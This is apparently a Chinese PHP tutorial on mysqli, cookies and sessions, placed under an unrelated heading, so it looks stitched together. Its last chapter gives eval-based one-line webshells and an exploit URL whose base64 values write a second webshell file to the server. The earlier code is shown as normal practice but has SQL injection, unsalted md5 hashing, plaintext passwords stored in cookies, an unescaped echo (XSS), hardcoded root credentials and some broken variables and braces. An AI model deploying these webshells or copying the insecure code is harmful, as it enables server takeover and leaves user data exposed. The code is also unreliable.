【SSL】裴波拉契數列IV
第一章 PHP操作mysql資料庫
在正式開始學習前,我們需要開啟mysqli擴充套件,使用phpinof()你可以看到如下展示就說明開啟成功:
若沒有看到mysqli擴充套件在windows伺服器下,開啟php.ini檔案,將php_mysqli.dll開啟即可。
注意:
從PHP7開始預設不再支援mysql擴充套件,即不再支援mysql_*系列函式。請使用mysqli連線資料庫。
mysqli即支援php5也支援php7。
建立表結構: CREATE TABLE IF NOT EXISTS users ( id INT(10) NOT NULL, username varchar(30), password varchar(30), createtime date not null, createip binary(16) );
index.html程式碼
<form action="connect.php" method="post"> 使用者名稱:<input type="text" name="username"><br /> 密碼:<input type="password" name="password"><br /> 重複密碼:<input type="password" name="repassword"><br /> <input type="submit" value="提交"> </form>
connect.php程式碼如下:
<?php
if (trim($_POST['password']) != trim($_POST['repassword'])) {
exit('兩次密碼不一致,請返回上一頁');
}
$username = trim($_POST['username']);
$password = md5(trim($_POST['password']));
$time = time();
$ip = $_SERVER['REMOTE_ADDR'];
$conn = mysqli_connect('localhost', 'root', 'root');
//如果有錯誤,存在錯誤號
if (mysqli_errno($conn)) {
echo mysqli_error($conn);
exit;
}
mysqli_select_db($conn, 'book');
mysqli_set_charset($conn, 'utf8');
$sql = "insert into user(username,password,createtime,createip) values('" . $username . "','" . $password . "','" . $time . "','" . $ip . "')";
$result = mysqli_query($conn, $sql);
if ($result) {
echo '成功';
} else {
echo '失敗';
}
echo '當前使用者插入的ID為' . mysqli_insert_id($conn);
mysqli_close($conn);
?>
list.php程式碼如下:
<?php
$conn = mysqli_connect('localhost', 'root', 'root', 'book');
if (mysqli_errno($conn)) {
mysqli_error($conn);
exit;
}
mysqli_set_charset($conn, 'utf8');
$sql = "select id,username,createtime,createip from user order by id desc";
//進行降序排序
$result = mysqli_query($conn, $sql);
if ($result && mysqli_num_rows($result)) {
//查詢出來的行數可以使用mysqli_num_rows。這個函式要求傳入$result查詢的結果變數。
如果有結果則顯示列表,如果沒有結果我們產生一句提示即可。
echo '<table width="800" border="1">';
while ($row = mysqli_fetch_assoc($result)) {
//使用到的函式是mysqli_fetch_assoc,返回的會是一個關聯陣列。
這個函式讀取一個結果集,會向後移動一次。讀取到最後沒有結果的時候會返回bool值的false。因此,我們選擇while來配合mysqli_fetch_assoc。
每次迴圈的結果賦值給$row,$row中是關聯陣列。因此我在這次迴圈中,可以將行和列都顯示出來。
echo '<tr>';
echo '<td>' . $row['username'] . '</td>';
echo '<td>' . date('Y-m-d H:i:s', $row['createtime']) . '</td>';
echo '<td>' . long2ip($row['createip']) . '</td>';
echo '<td><a href="edit.php?id=' . $row['id'] . '">編輯使用者</a></td>';
echo '<td><a href="delete.php?id=' . $row['id'] . '">刪除使用者</a></td>';
echo '</tr>';
}
echo '</table>';
} else {
echo '沒有資料';
}
mysqli_close($conn);
?>
第二章 PHP 會話管理和控制
我們知道Cookie是通過將資料儲存在客戶端來實現與服務端保持連線的,而Session是通過將資料儲存在伺服器端來實現保持連線的。我們通過一個例子來了解session的機制。
我們去飲料店買飲料,下單以後服務員會給我們一個號碼牌,然後你走到一旁,服務員並不認識你是誰,如果你想拿到你的飲料,你必須提供你的號碼牌給服務員才可以,服務員通過號碼牌來查記錄,來確認你是顧客,確認你點了什麼飲料,然後才會把你點的飲料給你。
瞭解了session原理,再回到Web技術中,我們有2種方法讓客戶端拿到“號碼牌”,一種是通過cookie,一種是通過把值嵌入網頁傳給客戶端。我們也有2種方法來讓客戶端把號碼牌傳給伺服器來拿屬於自己的資料,一種是cookie,一種是標準的Query String/POST。
而我們常用的是cookie,因為現在的瀏覽器都支援cookie,預設也都開啟。客戶端與服務端彼此都會將cookie傳送給對方。來個過程說明一下:開啟瀏覽器輸入 www.taobao.com 並回車,由於是第一次與這個網站建立連線,服務端還沒有設定過cookie(這裡假設當前瀏覽器是第一次訪問這個網址,之前這個網址沒有向當前客戶端寫過cookie),所以沒有cookie傳送到服務端,服務端在處理完資料返回的時候,會將一個name為sessionid,value為一連串N位字元的cookie傳送給客戶端,後續客戶端再次訪問服務端的時候,也會帶上這個cookie來訪問服務端。於是,他們就這樣通過sessionid互相“認識”了。
我們之前拿開會的例子講了一個小例子:
在幾十年前人們開會的時候,都需要帶上一個參會證。這個參會證上有這個人的職務、姓名、單位、照片等資訊。在開會的時候,會議安保人員、組織者只需要檢查相關資訊就行了。
這個小例子主要說明一點,人們自己帶著自己的參會證,帶著自己的資訊。這種模式就是cookie。而電腦將這段cookie資訊存在了電腦的硬盤裡。
Cookie存在哪兒? Cookie的本質是一小段資料,一小段儲存在你電腦硬碟中的資料。可是它存在哪裡呢?來,我們找一下。
Chrome瀏覽器的Cookie檔案的存放路徑是:
C:\Users\你的使用者名稱\AppData\Local\Google\Chrome\User Data\Default\Cookies
Firefox瀏覽器的Cookies檔案存放路徑是:
C:\Users\你的使用者名稱\AppData\Roaming\Mozilla\Firefox\Profiles\rdgp36vl.default\cookies.sqlite 每個人可能略有不同
用文字編輯器直接開啟Cookies檔案看到的是亂碼,我們得用工具檢視,如下圖:
我們來看一下需要關注的幾個列,Domain代表的是cookies所屬的網站,Name代表的是這個Cookie的名字,Value代表的是Cookie的值,Expires代表的是這個Cookie的有效期。
用一個我們熟悉的網站舉例,tudou.com,圖上我們可以看到有4個關於 tudou.com 的Cookie,那麼當我們訪問 tudou.com的時候,瀏覽器會自動把這4個Cookie的 Name 和 Value 傳送到 tudou.com 這個網址所指向的伺服器(PS:必須在有效期內,超出有效期的話是不會被髮送到伺服器的,有效期我們可以依據需求來定),如此一來,伺服器就可以根據這些資訊來保持與客戶端的連線了,通俗點,就是可以通過這些資料來知道你就是你。當伺服器收到這些Cookies後,會根據他們的值來做一些處理,做什麼處理?這就取決於開發人員想根據這些資訊來幹嘛了!
一、php 會話控制 之 PHP中的Cookie
通過一個使用者首次登陸網站後,再次訪問不需要重複輸入使用者名稱和密碼的例子來學習Cookie。
首先介紹一下php中設定cookie的方法。
php中提供了一個函式來讓我們設定cookie,這個函式是:
bool setcookie (
string $名字
[, string $值]
[, int $過期時間 = 0]
[, string $路徑]
[, string $域名]
[, bool $安全 = false]
[, bool $http只讀 = false]
);
引數 描述
$名字 必需。規定 cookie 的名稱。
$值 可選。規定 cookie 的值。
$有效期 可選。規定 cookie 的有效期。
$路徑 可選。規定 cookie 的伺服器路徑。
$域名 可選。規定 cookie 的域名。
$安全 可選。規定是否通過安全的 HTTPS 連線來傳輸 cookie。
$http安讀 可選。如果true,那麼js就無法讀取改cookie,增加安全性。
一般來說,我們其實用不到上面那麼多引數,對於這個函式,我們一般這麼用: setcookie(cookie名,cookie值,cookie有效期);
沒錯,就那麼3個。如此一來,我們就可以在服務端通過$_COOKIE['name'] 來讀取cookie了。
以下是示例:
我們將檔名命名為:cookie.php。
我們來模擬我們在網際網路上見到最常見的例子:輸入使用者名稱和密碼,登陸成功的過程。
我們來建一個數據庫login,其中有表user,有username和password這兩個欄位。
<?php
//第一次登陸的時候,通過使用者輸入的資訊來確認使用者
if ( ( $_POST['username'] != null ) && ( $_POST['password'] != null ) ) {
$userName = $_POST['username'];
$password = $_POST['password'];
//從db獲取使用者資訊
//PS:資料庫連線資訊改成自己的 分別為主機 資料庫使用者名稱 密碼
$conn = mysqli_connect('localhost','root','123456');
mysqli_select_db($conn,'test');
$sql = "select * from user where `username` = '$userName' ";
$res = mysqli_query($conn,$sql);
$row = mysqli_fetch_assoc($res);
if ($row['password'] == $password) {
//密碼驗證通過,設定cookies,把使用者名稱和密碼儲存在客戶端
setcookie('username',$userName,time()+60*60*24*30);//設定時效一個月,一個月後這個cookie失效
setcookie('password',$password,time()+60*60*24*30);
//最後跳轉到登入後的歡迎頁面
header('Location: welcome.php' . "?username=$userName");
}
}
//再次訪問的時候通過cookie來識別使用者
if ( ($_COOKIE['username'] != null) && ($_COOKIE['password'] != null) ) {
$userName = $_COOKIE['username'];
$password = $_COOKIE['password'];
//從db獲取使用者資訊
//PS:資料庫連線資訊改成自己的 分別為主機 資料庫使用者名稱 密碼
$conn = mysqli_connect('localhost','root','123456','test');
$res = mysqli_query($conn,"select * from user where `username` = '$userName' ");
$row = mysqli_fetch_assoc($res);
if ($row['password'] == $password) {
//驗證通過後跳轉到登入後的歡迎頁面
header('Location: welcome.php' . "?username=$userName");
}
}
?>
<html>
<head>
</head>
<body>
<form action="" method="POST">
<div>
使用者名稱:<input type="text" name="username" />
密 碼:<input type="text" name="password" />
<input type="submit" value="登入">
</div>
</form>
</body>
</html>
跳轉到的welcome.php程式碼
<?php
$user = $_GET['username'];
?>
<html>
<head>
</head>
<body>
welcome,<?php echo $user;?>
</body>
</html>
這樣,當我第一次訪問cookie.php的時候,我需要輸入使用者名稱和密碼,輸入完畢後跳轉到了welcome.php。然後我關閉瀏覽器,再次開啟cookie.php,這次沒有要求我輸入使用者資訊,而是直接跳轉到了welcome.php,因為之前我們存的cookie資訊被瀏覽器自動傳送到了服務端,服務端做完處理直接跳轉到了welcome.php,伺服器認識我們了!知道我是之前那個登陸過的使用者,這樣我們就通過cookie技術讓無狀態的HTTP協議保持了狀態。
照著這個做一遍,我相信你會用cookie了。
二、php 會話控制 之 PHP中的session
1.開啟session
首先我們要開啟session,那麼第一個要學習的函式就是bool session_start()了,這個函式沒有引數。在php檔案的開始使用
session_start();
就可以啟用新會話或者重用現有會話了。
2.新增session資料
開啟會話之後,那麼在接下來的處理中,我們就可以使用$_SESSION變數來存取資訊了。我們要知道的是$_SESSION變數是個陣列。當我們要把資訊存入session的時候應該這麼寫:
$_SESSION['userName'] = 'wang';
3.讀取session資料
讀取很簡單,就像我們使用陣列一樣,如下:
$userName = $_SESSION['userName'];
當然也可以 $_SESSION['userName'] 來用。和陣列一樣的使用。
4.銷燬session資料
我們可以使用很多種方式來銷燬session資料。
a) unset函式
我們通過使用類似
unset($_SESSION['XXX']);
來銷燬session中的 XXX 變數。PS:請不要!請不要!請不要unset($_SESSION),會導致後續無法使用$_SESSION這個變數!!!
b) 空陣列賦值給session變數
$_SESSION = array();
之前我們說過$_SESSOIN變數是個陣列,那麼空陣列賦值的話也是相當於將當前會話的$_SESSION變數中的值銷燬。
c) session_destory() 函式
這個函式會銷燬當前會話中的全部資料,並結束當前會話。但是不會重置當前會話所關聯的全域性變數, 也不會重置會話 cookie。
5.session的擴充套件:預設session儲存在哪裡。
在php.ini配置檔案中有這麼一行 session.save_handler = files,
files,說明了php預設的是用檔案讀寫的方式來儲存session的。那麼在哪個目錄呢?繼續看。session.save_path = "/tmp",這一行前面有個 ; ,說明是被註釋的,不過即便這樣,php預設的session 也是儲存在這裡的,/tmp目錄。
6.SESSION登入例項:
login.php檔案
<?php
session_start();
if ( ( $_POST['username'] != null ) && ( $_POST['password'] != null ) ) {
$userName = $_POST['username'];
$password = $_POST['password'];
//從db獲取使用者資訊 資料庫資訊改成自己的
$conn = mysqli_connect('host','username','password','login');
mysqli_select_db($conn,'oldboy');
$res = mysqli_query($conn,"select * from user where `username` = '$username' ");
$row = mysqli_fetch_assoc($res);
if ($row['password'] == $password) {
//密碼驗證通過,設定session,把使用者名稱和密碼儲存在服務端
$_SESSION['username'] = $username;
$_SESSION['password'] = $password;
//最後跳轉到登入後的歡迎頁面 //注意:這裡我們沒有像cookie一樣帶引數過去
header('Location: welcome.php');
}
?>
<html>
<head>
<!-- 這裡指明頁面編碼 -->
<meta charset="utf-8">
</head>
<body>
<form action="" method="POST">
<div>
使用者名稱:<input type="text" name="username" />
密 碼:<input type="text" name="password" />
<input type="submit" value="登入">
</div>
</form>
</body>
</html>
welcome.php 這裡我們用的是session中的資訊,而不是像cookie一樣在url中帶引數過來
<?php
session_start();
$username = $_SESSION['username'];
?>
<html>
<head>
</head>
<body>
welcome,<?php echo $username;?>
</body>
</html>
第三章 PHP 專案
編寫一句話木馬
案例1:
<?php
$a = $_REQUEST['a'];
$b = null;
eval($b.$a);
?>
利用方法:
http://localhost:63342/WWW/yiju.php?_ijt=31jik4g1bmmhfla9nfdidrfc28&a=phpinfo();
http://localhost:63342/WWW/yiju.php?_ijt=31jik4g1bmmhfla9nfdidrfc28&a=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
案例2:
<?php @eval($_POST['1']);?>